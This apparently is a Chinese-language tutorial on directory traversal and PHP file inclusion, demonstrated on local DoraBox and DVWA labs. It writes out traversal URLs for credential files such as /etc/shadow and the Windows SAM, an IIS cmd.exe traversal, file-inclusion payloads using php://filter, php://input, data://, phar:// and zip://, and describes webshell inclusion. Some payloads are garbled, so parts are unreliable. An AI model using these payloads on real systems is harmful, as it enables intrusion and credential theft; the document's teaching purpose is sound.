web安全之目录遍历攻击,文件包含

    科技2022-07-16  115

    目录

    0×00 目录遍历攻击0×01 文件包含漏洞0×01 前言0×02 漏洞造成原因0×03 php语言四个文件包含函数0×04 文件包含漏洞分类0×01 本地文件包含漏洞0×00 任意文件包含0×01 session文件包含漏洞0×02 目录限制文件包含包含文件类型限制(只允许.php文件) 0×02 远程文件包含漏洞 0×03 PHP伪协议0×00 php://0×01 php://filter0×02 php://input0×03 php://output0×04 data://0×05 phar:// 伪协议0×06 zip:// 伪协议

    0×00 目录遍历攻击

    目录遍历是Http所存在的一个安全漏洞,它使得攻击者能够访问受限制的目录,并在Web服务器的根目录以外执行命令。

    目录遍历攻击可能从两个方面产生:

    ①利用web应用代码实行目录遍历攻击 ②利用web服务器进行目录遍历攻击

    原理:

    程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。

    读取文件的url:

    http://127.0.0.1/my.jsp?file=xxx.html

    如果服务器允许这种访问方式,那麽就有可能存在遍历攻击

    恶意url:

    http://127.0.0.1/my.jsp?file=../../Windows.system.ini

    这样就可以获取服务器的信息。

    …/…/只是我们猜想的

    从web服务器本身的软件或者代码也可能造成漏洞。    例如,如下的一个URL请求,它使用了IIS的脚本目录来移动目录并执行指令:http://server.com/scripts/…\…/Windows/System32/cmd.exe?/c+dir+c:\

    这个请求会返回C:\目录下所有文件的列表,它使通过调用cmd.exe然后再用dir c:\来实现的,\是web服务器的转换符,用来代表一些常见字符,这里表示的是“\”

    URI编码形式的目录遍历攻击

    一些网络应用会通过查询危险的字符串,例如:

    … …\ …/

    来防止目录遍历攻击。然而,服务器检查的字符串往往会被URI编码。因此这类系统将无法避免如下形式的目录遍历攻击:

    ../:解码为…/ ../:解码为…/ …/:解码为…/ ..\:解码为…\

    注意:对于不同的操作系统 linux目录遍历攻击,通用的linux系统的目录遍历攻击字符串形如“…/”。 一般攻击路径

    /etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件

    Windows操作系统目录遍历攻击 对于微软的Windows操作系统以及DOS系统的目录结构,攻击者可以使用“…/”或者“…\”字符串。

    在Windows操作系统中,每个磁盘分区有一个独立的根目录(比如我们会把个人电脑分区成“C盘”、“D盘”等等),并且在所有磁盘分区之上没有更高级的根目录。这意味着Windows系统上的目录遍历攻击会被隔离在单个磁盘分区之内,不会波及到其他盘。(是不是很狗)

    敏感路径:

    c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息

    但是如果目录遍历攻击在D盘就没用了

    0×01 文件包含漏洞

    0×01 前言

    我们在写代码的时候,对于某些代码我们可能会多次使用,但是一遍遍重复的写,这不是浪费时间🐎,所以我们就会将高频率使用的代码包含在一个文件里,用的时候引用就行了。这应该就是文件包含了

    0×02 漏洞造成原因

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码,从而形成了漏洞。

    0×03 php语言四个文件包含函数

    include() include_once() require() require_once() require() 如果在包含过程中出错,就会直接退出,不执行后续语句 include() 如果在包含过程中出错,只会提出警告,但不影响后续语句的执行 include_once()函数和require_once()函数,这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

    0×04 文件包含漏洞分类

    0×01 本地文件包含漏洞

    0×00 任意文件包含

    以Dorabox为例

    输入1 得到信息

    用的是include()函数,没有经过任何的过滤。

    那我们先建一个txt.txt文件

    内容:

    <?phpnfo();?>

    构造payload:http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit

    得到了php版本,等等各种信息。

    我们换个格式的payload

    http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.jpg&submit=submit

    一样可以得到PHP的一些信息。

    真是任意文件包含。

    0×01 session文件包含漏洞

    通过上面的截图我们不只是得到了PHP版本信息

    我们也得到了session的存储位置。

    那麽我们就可以对session的值进行更改。

    使用下面代码

    <?php session_start(); $a=$_GET['a']; $_SESSION["username"]=$a; ?>

    将我们传入a值存进session里。

    当然我们也可以传入phpinfo();等等像这样的代码。

    一般存有session值的文件名都是sess_PHPSESSID

    当然我们也可以使用type命令或者cat命令,将包含有session的文件显示出来。

    0×02 目录限制文件包含

    对于那些只允许包含指定文件下的文件

    <?php include "../class/function.class.php"; $p = new Func("GET","file"); $p -> con_html(); if (isset($_REQUEST['submit'])) { $file = $_REQUEST['file']; include './'.$file; } ?>

    类似于上面源码,对我们进行了限制。

    那麽我们可以尝试利用目录遍历盲猜

    http://127.0.0.1/DoraBox/file_include/include_1.php?file=./txt.php&submit=submit

    情况不一样,也可以是../

    包含文件类型限制(只允许.php文件)

    if(@$_GET['file']){ include_once($_GET['file'].".php"); }

    对于这种类型,我们一般都使用截断 ①截断(需要php版本小于5.3.4,且关闭magic_quotes_gpc功能。) ②…(windows文件名最长不大于256,Linux不大于1024?) ③?截断

    以上三个就不做具体的测试了,有兴趣可以自己搞一下。

    0×02 远程文件包含漏洞

    远程文件包含利用的条件严格,需要满足

    allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)

    我们见到的大多数都是本地文件包含。

    http://127.0.0.1/DoraBox/file_include/include_1.php?file=http://192.168.1.105/test.txt

    0×03 PHP伪协议

    伪协议太多,只详讲php://

    0×00 php://

    php:// — 访问各个输入/输出流(I/O streams)

    ?file=file://文件绝对路径

    可以读取到文件内容

    0×01 php://filter

    php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

    这个好像ctf比赛用的比较多

    ①?filename=php://filter/convert.base64-encode/resource=xxx.php ②?filename=php://filter/read=convert.base64-encode/resource=xxx.php

    这两个效果一样

    通过这样的语句能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的页面代码。

    0×02 php://input

    php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。(其他请求方式无效)

    说白了就是利用input将我们的写的数据通过post传上去。

    但有一点比较特殊,enctype=“multipart/form-data” 的时候 php://input 是无效的。

    我们也可以写入木马,但需要开启

    allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)有的大师傅说需要开启

    一句话木马,然后菜刀连接。

    0×03 php://output

    php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

    0×04 data://

    和php://相似,将原本的数据流重新定向到用户的可控制的输入流中。可直接执行代码。

    ① ?file=data:text/plain,<?php 执行内容 ?> ② ?file=data:text/plain;base64,编码后的php代码(对特殊字符过滤了,可以使用)

    0×05 phar:// 伪协议

    这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压(rar格式不行)。

    PHP版本 >= 5.3.0

    ?file=phar://压缩包/内部文件

    写一个一句话木马文件cmd.php,然后用zip协议压缩为shell.zip,然后将后缀改为jpg等其他格式。

    那麽payload:?file=phar://cmd.jpg/cmd.php

    0×06 zip:// 伪协议

    与phar://类似

    ?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

    是绝对路径且#要手动编码为#

    以DVWA靶场的文件上传为栗子

    首先将我们test.php压缩zip文件

    内容:

    <? phpinfo(); ?>

    上传成功!

    我们知道了上传路径。

    然后构造payload:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=zip://D:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\test.zip#txt.php

    成功。

    Processed: 0.010, SQL: 8